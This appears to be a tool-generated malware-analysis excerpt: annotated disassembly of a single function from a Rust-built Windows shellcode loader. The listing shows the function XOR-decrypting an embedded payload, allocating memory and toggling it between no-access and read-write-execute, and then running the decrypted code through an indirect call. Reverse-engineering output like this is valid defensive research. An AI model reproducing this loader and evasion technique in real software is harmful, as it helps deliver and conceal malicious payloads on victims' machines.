Function at 0x140004480
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
push r15
push r14
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0xb0
movzx eax, byte [0x14011e1a1]
mov ecx, 0xba874
mov edx, 1
call fcn.1400053e0
test rax, rax
je 0x140004882
mov rdi, rax
lea rdx, [0x14004ad38]
mov r8d, 0xba874
mov rcx, rax
call fcn.140044b10
xorps xmm0, xmm0
movaps xmmword [rsp + 0x50], xmm0
movaps xmmword [rsp + 0x40], xmm0
movaps xmmword [rsp + 0x30], xmm0
movaps xmmword [rsp + 0x20], xmm0
mov ecx, 0x9d06ecc7
mov rax, 0xfffffffffffffffc
nop dword [rax + rax]
mov edx, ecx
shl edx, 0xd
xor edx, ecx
mov r8d, edx
shr r8d, 0x11
xor r8d, edx
mov ecx, r8d
shl ecx, 5
xor ecx, r8d
mov dword [rsp + rax + 0x24], ecx
add rax, 4
cmp rax, 0x3c
jb 0x1400044f0
mov rax, qword [0x1401055c8]
xor rax, qword [rsp + 0x20]
mov rcx, qword [0x1401055d0]
xor rcx, qword [rsp + 0x28]
mov rdx, qword [str._n_f_ro]
xor rdx, qword [rsp + 0x30]
mov r8, qword [0x1401055e0]
xor r8, qword [rsp + 0x38]
mov r9, qword [0x1401055e8]
xor r9, qword [rsp + 0x40]
mov r10, qword [0x1401055f0]
xor r10, qword [rsp + 0x48]
mov r11, qword [0x1401055f8]
xor r11, qword [rsp + 0x50]
mov rsi, qword [0x140105600]
xor rsi, qword [rsp + 0x58]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x38], r8
mov qword [rsp + 0x40], r9
mov qword [rsp + 0x48], r10
mov qword [rsp + 0x50], r11
mov qword [rsp + 0x58], rsi
lea rsi, [rsp + 0x90]
lea rdx, [rsp + 0x20]
mov r8d, 0x40
mov r9d, 0x20
mov rcx, rsi
call fcn.1400056d0
cmp qword [rsp + 0x90], 0
mov rdx, qword [rsp + 0x98]
mov rcx, qword [rsp + 0xa0]
je 0x1400045f2
lea rax, [rdx*2]
test rax, rax
je 0x14000474f
jmp 0x140004744
mov rax, qword [rsp + 0xa8]
test rax, rax
je 0x140004a67
mov r8d, 0xba874
mov r9, rdi
jmp 0x140004619
sub r8, r10
je 0x14000473f
mov r11, r9
cmp r8, rax
mov r10, rax
cmovb r10, r8
add r9, r10
cmp r10, 8
jb 0x14000463d
lea rbx, [rcx + r10]
cmp r11, rbx
jae 0x1400046b0
cmp rcx, r9
jae 0x1400046b0
xor ebx, ebx
mov r15, r10
mov r14, rbx
and r15, 3
je 0x140004666
mov r12, rbx
nop
movzx ebp, byte [rcx + r12]
xor byte [r11 + r12], bpl
lea r14, [r12 + 1]
mov r12, r14
dec r15
jne 0x140004650
sub rbx, r10
cmp rbx, 0xfffffffffffffffc
ja 0x140004610
nop
movzx ebx, byte [rcx + r14]
xor byte [r11 + r14], bl
movzx ebx, byte [rcx + r14 + 1]
xor byte [r11 + r14 + 1], bl
movzx ebx, byte [rcx + r14 + 2]
xor byte [r11 + r14 + 2], bl
movzx ebx, byte [rcx + r14 + 3]
xor byte [r11 + r14 + 3], bl
lea rbx, [r14 + 4]
mov r14, rbx
cmp r10, rbx
jne 0x140004670
jmp 0x140004610
cmp r10, 0x20
jae 0x1400046ba
xor ebx, ebx
jmp 0x140004713
mov rbx, r10
and rbx, 0xffffffffffffffe0
xor r14d, r14d
nop word cs:[rax + rax]
movups xmm0, xmmword [rcx + r14]
movups xmm1, xmmword [rcx + r14 + 0x10]
movups xmm2, xmmword [r11 + r14]
xorps xmm2, xmm0
movups xmm0, xmmword [r11 + r14 + 0x10]
xorps xmm0, xmm1
movups xmmword [r11 + r14], xmm2
movups xmmword [r11 + r14 + 0x10], xmm0
add r14, 0x20
cmp rbx, r14
jne 0x1400046d0
cmp r10, rbx
je 0x140004610
test r10b, 0x18
je 0x14000463f
mov r14, rbx
mov rbx, r10
and rbx, 0xfffffffffffffff8
nop dword [rax]
mov r15, qword [rcx + r14]
xor qword [r11 + r14], r15
add r14, 8
cmp rbx, r14
jne 0x140004720
cmp r10, rbx
je 0x140004610
jmp 0x14000463f
test rdx, rdx
je 0x14000474f
mov r8d, 1
call fcn.1400053f0
movzx eax, byte [0x14011e1a1]
mov ecx, 0xba874
mov edx, 1
call fcn.1400053e0
test rax, rax
je 0x140004882
mov rbx, rax
mov r8d, 0xba874
mov rcx, rax
mov rdx, rdi
call fcn.140044b10
mov edx, 0xba874
mov r8d, 1
mov rcx, rdi
call fcn.1400053f0
mov edx, 0xba874
xor ecx, ecx
mov r8d, 0x1000
mov r9d, 4
call sub.kernel32.dll_VirtualAlloc
test rax, rax
je 0x140004891
mov rdi, rax
mov r8d, 0xba874
mov rcx, rax
mov rdx, rbx
call fcn.140044b10
mov dword [rsp + 0x20], 0
lea r9, [rsp + 0x20]
mov edx, 0xba874
mov rcx, rdi
mov r8d, 0x40
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x1400048c8
mov dword [rsp + 0x20], 0
lea r9, [rsp + 0x20]
mov edx, 0xba874
mov rcx, rdi
mov r8d, 1
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x140004940
mov dword [rsp + 0x20], 0
lea r9, [rsp + 0x20]
mov edx, 0xba874
mov rcx, rdi
mov r8d, 0x40
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x1400049b8
call rdi
mov rcx, rdi
xor edx, edx
mov r8d, 0x8000
call sub.kernel32.dll_VirtualFree
test eax, eax
je 0x140004a30
mov edx, 0xba874
mov r8d, 1
mov rcx, rbx
call fcn.1400053f0
nop
add rsp, 0xb0
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
mov ecx, 1
mov edx, 0xba874
call fcn.140049310
lea rax, str.Failed_to_allocate_memory
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 1
mov qword [rsp + 0x30], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
lea rdx, str.src_ven.rs
lea rcx, [rsp + 0x20]
call fcn.140049410
call fcn.140028c60
shl rax, 0x20
or rax, 2
mov qword [rsp + 0x90], rax
mov rcx, rdi
xor edx, edx
mov r8d, 0x8000
call sub.kernel32.dll_VirtualFree
mov qword [rsp + 0x60], rsi
lea rax, [0x140020840]
mov qword [rsp + 0x68], rax
lea rax, str.Failed_to_change_memory_protection:
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 1
mov qword [rsp + 0x40], 0
lea rax, [rsp + 0x60]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
lea rdx, str.src_ven.rs
lea rcx, [rsp + 0x20]
call fcn.140049410
call fcn.140028c60
shl rax, 0x20
or rax, 2
mov qword [rsp + 0x90], rax
mov rcx, rdi
xor edx, edx
mov r8d, 0x8000
call sub.kernel32.dll_VirtualFree
mov qword [rsp + 0x60], rsi
lea rax, [0x140020840]
mov qword [rsp + 0x68], rax
lea rax, str.Failed_to_set_memory_to_no_access:
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 1
mov qword [rsp + 0x40], 0
lea rax, [rsp + 0x60]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
lea rdx, str.src_ven.rs
lea rcx, [rsp + 0x20]
call fcn.140049410
call fcn.140028c60
shl rax, 0x20
or rax, 2
mov qword [rsp + 0x90], rax
mov rcx, rdi
xor edx, edx
mov r8d, 0x8000
call sub.kernel32.dll_VirtualFree
mov qword [rsp + 0x60], rsi
lea rax, [0x140020840]
mov qword [rsp + 0x68], rax
lea rax, str.Failed_to_set_memory_to_execute:
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 1
mov qword [rsp + 0x40], 0
lea rax, [rsp + 0x60]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
lea rdx, str.src_ven.rs
lea rcx, [rsp + 0x20]
call fcn.140049410
lea rax, str.Failed_to_free_memory
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 1
mov qword [rsp + 0x30], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
lea rdx, str.src_ven.rs
lea rcx, [rsp + 0x20]
call fcn.140049410
lea rax, str.chunk_size_must_be_non_zero
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], 1
mov qword [rsp + 0x70], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
lea rdx, str.C:UsersHassp.cargo_registry_srcindex.crates.io_6f17d22bba15001finclude_crypt_crypto_0.1.0_srcxor.rs
lea rcx, [rsp + 0x60]
call fcn.140049410
int3